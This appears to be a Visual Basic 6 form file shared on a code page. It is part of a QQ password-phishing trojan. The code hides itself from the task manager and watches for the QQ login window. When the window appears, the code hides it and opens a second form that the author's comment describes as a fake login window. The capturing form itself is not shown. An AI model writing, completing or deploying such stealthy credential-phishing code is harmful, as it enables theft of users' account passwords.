?? form1.frm
字號:
VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 3090
ClientLeft = 60
ClientTop = 450
ClientWidth = 4680
LinkTopic = "Form1"
ScaleHeight = 3090
ScaleWidth = 4680
StartUpPosition = 3 '窗口缺省
Visible = 0 'False
Begin VB.Timer Timer1
Interval = 100
Left = 1800
Top = 1320
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Const SW_HIDE = 0 '0為隱藏
Private Const SW_SHOW = 5
Private Sub Form_Load()
App.TaskVisible = False '任務(wù)管理器隱藏
End Sub
Private Sub Timer1_Timer()
Dim ma As Long
If FindWindow(vbNullString, "QQ用戶登錄") <> 0 Then '如果發(fā)現(xiàn)就隱藏它
ma = FindWindow(vbNullString, "QQ用戶登錄")
Call ShowWindow(ma, 0)
Form1.Hide '隱藏
Form2.Show '彈出假的登陸窗口
End If
End Sub
'這些代碼我就不多說了,就是隱藏真登陸窗口,然后彈出假的
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -